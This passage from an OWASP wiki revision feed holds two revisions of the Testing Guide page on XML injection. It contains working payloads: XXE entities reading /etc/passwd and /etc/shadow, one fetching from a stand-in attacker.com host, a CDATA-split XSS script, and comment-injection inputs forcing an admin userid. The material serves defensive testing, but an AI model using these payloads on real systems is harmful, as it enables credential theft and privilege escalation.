* '''Angular parenthesis: &amp;gt; and &amp;lt;''' - By adding an open or closed angular parenthesis in a user input like the following:&lt;br /&gt;
&lt;br /&gt;
 '''Username = foo&amp;lt;'''&lt;br /&gt;
&lt;br /&gt;
the application will build a new node:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;user&amp;gt; &lt;br /&gt;
     &amp;lt;username&amp;gt;foo&amp;lt;&amp;lt;/username&amp;gt; &lt;br /&gt;
     &amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
     &amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
     &amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
&amp;lt;/user&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
but, because of the presence of the open '&amp;lt;', the resulting XML document is invalid.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* '''Comment tag: &amp;lt;nowiki&amp;gt;&amp;lt;!--/--&amp;gt;&amp;lt;/nowiki&amp;gt;''' -  This sequence of characters is interpreted as the beginning/end of a comment. So by injecting one of them in Username parameter:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;Username = foo&amp;lt;!--&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
the application will build a node like the following:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;user&amp;gt; &lt;br /&gt;
    &amp;lt;username&amp;gt;foo&amp;lt;!--&amp;lt;/username&amp;gt; &lt;br /&gt;
    &amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
    &amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
    &amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
&amp;lt;/user&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
which won't be a valid XML sequence.&lt;br /&gt;
&lt;br /&gt;
* '''Ampersand: &amp;amp;amp; '''-   The ampersand is used in the XML syntax to represent entities. The format of an entity is '&amp;amp;amp;symbol;'. An entity is mapped to a character in the Unicode character set.&lt;br /&gt;
&lt;br /&gt;
For example:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;tagnode&amp;gt;&amp;amp;amp;lt;&amp;lt;/tagnode&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
is well formed and valid, and represents the '&amp;lt;' ASCII character.&lt;br /&gt;
&lt;br /&gt;
If '&amp;amp;amp;' is not encoded itself with &amp;amp;amp;amp;, it could be used to test XML injection.&lt;br /&gt;
&lt;br /&gt;
In fact, if an input like the following is provided:&lt;br /&gt;
&lt;br /&gt;
 '''Username = &amp;amp;amp;foo'''&lt;br /&gt;
&lt;br /&gt;
a new node will be created:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;user&amp;gt; &lt;br /&gt;
&amp;lt;username&amp;gt;&amp;amp;foo&amp;lt;/username&amp;gt; &lt;br /&gt;
&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
&amp;lt;/user&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
but, again, the document is not valid: &amp;amp;amp;foo is not terminated with ';' and the &amp;amp;foo; entity is undefined.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* '''CDATA section delimiters: &amp;lt;![CDATA[ / ]]&amp;gt;''' - CDATA sections are used to escape blocks of text containing characters which would otherwise be recognized as markup. In other words, characters enclosed in a CDATA section are not parsed by an XML parser.&lt;br /&gt;
&lt;br /&gt;
For example, if there is the need to represent the string '&amp;lt;foo&amp;gt;' inside a text node, a CDATA section may be used:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;node&amp;gt;&lt;br /&gt;
    &amp;lt;![CDATA[&amp;lt;foo&amp;gt;]]&amp;gt;&lt;br /&gt;
&amp;lt;/node&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
so that '&amp;lt;foo&amp;gt;' won't be parsed as markup and will be considered as character data.&lt;br /&gt;
&lt;br /&gt;
In case a node is built in the following way:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;username&amp;gt;&amp;lt;![CDATA[&amp;lt;$userName]]&amp;gt;&amp;lt;/username&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
the tester could try to inject the end CDATA string ']]&amp;gt;' in order to try to invalidate the XML document.&lt;br /&gt;
&lt;br /&gt;
 '''userName  = ]]&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
this will become:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;username&amp;gt;&amp;lt;![CDATA[]]&amp;gt;]]&amp;gt;&amp;lt;/username&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
which is not a valid XML fragment.&lt;br /&gt;
&lt;br /&gt;
Another test is related to CDATA tag. Suppose that the XML document is processed to generate a HTML page. In this case, the CDATA section delimiters may be simply eliminated, without further inspecting their contents. Then, it is possible to inject HTML tags, which will be included in the generated page, completely bypassing existing sanitization routines.&lt;br /&gt;
&lt;br /&gt;
Let's consider a concrete example. Suppose to have a node containing some text that will be displayed back to the user. &lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt; &amp;lt;html&amp;gt;&lt;br /&gt;
 $HTMLCode&lt;br /&gt;
 &amp;lt;/html&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
Then, an attacker can provide the following input:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;$HTMLCode = &amp;lt;![CDATA[&amp;lt;]]&amp;gt;script&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('xss')&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/script&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
and obtain the following node:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;html&amp;gt;&lt;br /&gt;
  &amp;lt;![CDATA[&amp;lt;]]&amp;gt;script&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('xss')&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/script&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&lt;br /&gt;
 &amp;lt;/html&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
During the processing, the CDATA section delimiters are eliminated, generating the following HTML code:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;script&amp;gt;alert('XSS')&amp;lt;/script&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
The result is that the application is vulnerable to XSS. &lt;br /&gt;
&lt;br /&gt;
'''External Entity:'''&lt;br /&gt;
The set of valid entities can be extended by defining new entities. If the definition of an entity is a URI, the entity is called an external entity. Unless configured to do otherwise, external entities force the XML parser to access the resource specified by the URI, e.g., a file on the local machine or on a remote systems. This behavior exposes the application to XML eXternal Entity (XXE) attacks, which can be used to perform denial of service of the local system, gain unauthorized access to files on the local machine, scan remote machines, and perform denial of service of remote systems. &lt;br /&gt;
&lt;br /&gt;
To test for XXE vulnerabilities, one can use the following input:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
  &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
  &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///dev/random&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
This test could crash the web server (on a UNIX system), if the XML parser attempts to substitute the entity with the contents of the /dev/random file.&lt;br /&gt;
&lt;br /&gt;
Other useful tests are the following:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///etc/passwd&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///etc/shadow&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///c:/boot.ini&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;http://www.attacker.com/text.txt&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
=== Tag Injection ===&lt;br /&gt;
&lt;br /&gt;
Once the first step is accomplished, the tester will have &lt;br /&gt;
some informations about xml structure, so it will be possible to &lt;br /&gt;
try to inject xml data and tags.&lt;br /&gt;
&lt;br /&gt;
Considering previous example, by inserting the following values:&lt;br /&gt;
&lt;br /&gt;
 '''Username: tony'''&lt;br /&gt;
 '''Password: Un6R34kb!e'''&lt;br /&gt;
 '''E-mail: s4tan@hell.com&amp;lt;/mail&amp;gt;&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&amp;lt;mail&amp;gt;s4tan@hell.com'''&lt;br /&gt;
&lt;br /&gt;
the application will build a new node and append it to the XML database:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt; &lt;br /&gt;
&amp;lt;users&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;gandalf&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;!c3&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;gandalf@middleearth.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;Stefan0&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;w1s3c&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;Stefan0@whysec.hmm&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;tony&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
&amp;lt;/users&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
The resulting xml file will be well formed and it is likely that the userid tag &lt;br /&gt;
will be cosidered with the latter value (0 = admin id).&lt;br /&gt;
The only shortcoming is that userid tag exists two times in the last user node, and&lt;br /&gt;
often xml file is associated with a schema or a DTD.&lt;br /&gt;
Let's suppose now that xml structure has the following DTD:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;!DOCTYPE users [&lt;br /&gt;
	  &amp;lt;!ELEMENT users (user+) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT user (username,password,userid,mail+) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT username (#PCDATA) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT password (#PCDATA) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT userid (#PCDATA) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT mail (#PCDATA) &amp;gt;&lt;br /&gt;
]&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
to be noted that userid node is defined with cardinality 1 (userid).&lt;br /&gt;
&lt;br /&gt;
So if this occurs, any simple attack won't be accomplished when xml is validated against the&lt;br /&gt;
specified DTD.&lt;br /&gt;
&lt;br /&gt;
If the tester can control some value for nodes enclosing userid tag (like in this example),&lt;br /&gt;
by injection a comment start/end sequence like the following:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 '''Username: tony'''&lt;br /&gt;
 '''Password: Un6R34kb!e&amp;lt;/password&amp;gt;&amp;lt;!--'''&lt;br /&gt;
 '''E-mail: --&amp;gt;&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&amp;lt;mail&amp;gt;s4tan@hell.com'''&lt;br /&gt;
&lt;br /&gt;
xml database file will be :&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt; &lt;br /&gt;
&amp;lt;users&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;gandalf&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;!c3&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;gandalf@middleearth.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;Stefan0&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;w1s3c&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;Stefan0@whysec.hmm&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;tony&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt;&amp;lt;!--&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;--&amp;gt;&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt;&lt;br /&gt;
&amp;lt;/users&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
This way original ''userid'' tag will be commented out and the one injected will be &lt;br /&gt;
parsed in compliance to DTD rules.&amp;lt;br&amp;gt;&lt;br /&gt;
The result is that user '' 'tony' '' will be logged with ''userid=0'' ( which could be an administrator uid)&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* [1] Alex Stamos: &amp;quot;Attacking Web Services&amp;quot; - http://www.owasp.org/images/d/d1/AppSec2005DC-Alex_Stamos-Attacking_Web_Services.ppt&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Marco</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_XML_Injection_(OTG-INPVAL-008)&amp;diff=36992</id>
		<title>Testing for XML Injection (OTG-INPVAL-008)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_XML_Injection_(OTG-INPVAL-008)&amp;diff=36992"/>
				<updated>2008-08-23T05:54:57Z</updated>
		
		<summary type="html">&lt;p&gt;Marco: /* Discovery */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
We talk about XML Injection testing when we try to inject a particular XML doc to the application: if the XML parser fails to make an  appropriate data validation the test will results positive. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Short Description of the Issue == &lt;br /&gt;
In this section, we describe a practical example of XML Injection: first, we define an XML style communication and we show how it works. Then, we describe the discovery method in which we try to insert XML metacharacters.&lt;br /&gt;
Once the first step is accomplished, the tester will have some information about the XML structure, so it will be possible to try to inject XML data and tags (Tag Injection).&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
Let's suppose there is a web application using an XML style communication &lt;br /&gt;
in order to perform users registration.&lt;br /&gt;
This is done by creating and adding a new &amp;lt;user&amp;gt; node in an xmlDb file.&lt;br /&gt;
Let's suppose the xmlDB file is like the following:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt; &lt;br /&gt;
&amp;lt;users&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;gandalf&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;!c3&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;gandalf@middleearth.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;Stefan0&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;w1s3c&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;Stefan0@whysec.hmm&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
&amp;lt;/users&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
When a user registers himself by filling an HTML form, &lt;br /&gt;
the application receives the user's data in a standard request, which,&lt;br /&gt;
for the sake of simplicity, will be supposed to be sent as a GET request.&lt;br /&gt;
&lt;br /&gt;
For example, the following values:&lt;br /&gt;
&lt;br /&gt;
 '''Username: tony'''&lt;br /&gt;
 '''Password: Un6R34kb!e'''&lt;br /&gt;
 '''E-mail: s4tan@hell.com'''&lt;br /&gt;
&lt;br /&gt;
will produce the request:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/addUser.php?username=tony&amp;amp;password=Un6R34kb!e&amp;amp;email=s4tan@hell.com&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The application, then, builds the following node:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;user&amp;gt; &lt;br /&gt;
	&amp;lt;username&amp;gt;tony&amp;lt;/username&amp;gt; &lt;br /&gt;
	&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
	&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
	&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
&amp;lt;/user&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
which will be added to the xmlDB:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt; &lt;br /&gt;
&amp;lt;users&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;gandalf&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;!c3&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;gandalf@middleearth.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;Stefan0&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;w1s3c&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;Stefan0@whysec.hmm&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;tony&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
&amp;lt;/users&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
=== Discovery ===&lt;br /&gt;
The first step in order to test an application for the presence of a XML Injection&lt;br /&gt;
vulnerability consists of trying to insert XML metacharacters.&amp;lt;br&amp;gt;&lt;br /&gt;
XML metacharacters are:&lt;br /&gt;
* '''Single quote: ' ''' - When not sanitized, this character could throw an exception during XML parsing, if the injected value is going to be part of an attribute value in a tag.&lt;br /&gt;
As an example, let's suppose there is the following attribute:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;node attrib='$inputValue'/&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
So, if:&lt;br /&gt;
&lt;br /&gt;
 '''inputValue = foo''''&lt;br /&gt;
&lt;br /&gt;
is instantiated and then is inserted as the attrib value:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;node attrib='foo''/&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
then, the resulting XML document is not well formed.&lt;br /&gt;
&lt;br /&gt;
* '''Double quote: &amp;quot; '''- this character has the same means of double quotes and it could be used in case the attribute value is enclosed in double quotes.&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;node attrib=&amp;quot;$inputValue&amp;quot;/&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
So if:&lt;br /&gt;
 '''$inputValue = foo&amp;quot;'''&lt;br /&gt;
&lt;br /&gt;
the substitution gives:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;node attrib=&amp;quot;foo&amp;quot;&amp;quot;/&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
and the resulting XML document is invalid.&lt;br /&gt;
&lt;br /&gt;
* '''Angular parenthesis: &amp;gt; and &amp;lt;''' - By adding an open or closed angular parenthesis in a user input like the following:&lt;br /&gt;
&lt;br /&gt;
 '''Username = foo&amp;lt;'''&lt;br /&gt;
&lt;br /&gt;
the application will build a new node:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;user&amp;gt; &lt;br /&gt;
     &amp;lt;username&amp;gt;foo&amp;lt;&amp;lt;/username&amp;gt; &lt;br /&gt;
     &amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
     &amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
     &amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
&amp;lt;/user&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
but, because of the presence of the open '&amp;lt;', the resulting XML document is invalid.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* '''Comment tag: &amp;lt;nowiki&amp;gt;&amp;lt;!--/--&amp;gt;&amp;lt;/nowiki&amp;gt;''' -  This sequence of characters is interpreted as the beginning/end of a comment. So by injecting one of them in Username parameter:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;Username = foo&amp;lt;!--&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
the application will build a node like the following:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;user&amp;gt; &lt;br /&gt;
    &amp;lt;username&amp;gt;foo&amp;lt;!--&amp;lt;/username&amp;gt; &lt;br /&gt;
    &amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
    &amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
    &amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
&amp;lt;/user&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
which won't be a valid XML sequence.&lt;br /&gt;
&lt;br /&gt;
* '''Ampersand: &amp;amp;amp; '''-   The ampersand is used in the XML syntax to represent entities. The format of an entity is '&amp;amp;amp;symbol;'. An entity is mapped to a character in the Unicode character set.&lt;br /&gt;
&lt;br /&gt;
For example:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;tagnode&amp;gt;&amp;amp;amp;lt;&amp;lt;/tagnode&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
is well formed and valid, and represents the '&amp;lt;' ASCII character.&lt;br /&gt;
&lt;br /&gt;
If '&amp;amp;amp;' is not encoded itself with &amp;amp;amp;amp;, it could be used to test XML injection.&lt;br /&gt;
&lt;br /&gt;
In fact, if an input like the following is provided:&lt;br /&gt;
&lt;br /&gt;
 '''Username = &amp;amp;amp;foo'''&lt;br /&gt;
&lt;br /&gt;
a new node will be created:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;user&amp;gt; &lt;br /&gt;
&amp;lt;username&amp;gt;&amp;amp;foo&amp;lt;/username&amp;gt; &lt;br /&gt;
